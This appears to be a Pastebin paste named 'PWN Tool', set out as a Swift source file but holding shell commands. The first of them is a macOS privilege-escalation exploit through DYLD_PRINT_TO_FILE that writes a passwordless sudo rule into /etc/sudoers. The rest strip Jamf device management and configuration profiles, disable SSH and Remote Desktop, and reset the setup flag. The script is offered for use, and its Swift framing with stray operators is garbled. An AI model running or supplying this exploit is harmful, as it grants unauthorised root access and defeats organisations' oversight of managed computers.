Advertisement
Guest User

Untitled

a guest
Sep 1st, 2016
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. //
  2. // main.swift
  3. // PWN Tool
  4. //
  5. // Created by PWND on 9/1/16.
  6. // Copyright (c) 2016 MasonPC. All rights reserved.
  7. //
  8.  
  9. import Foundation
  10.  
  11. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s #
  12. &&
  13. sudo /usr/local/bin/jamf removeFramework
  14. ;
  15. sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist
  16. ;
  17. sudo profiles -d
  18. ;
  19. sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist
  20. ;
  21. sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off
  22. ;
  23. sudo rm /var/db/.applesetupdone
  24. ;
  25. sudo reboot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement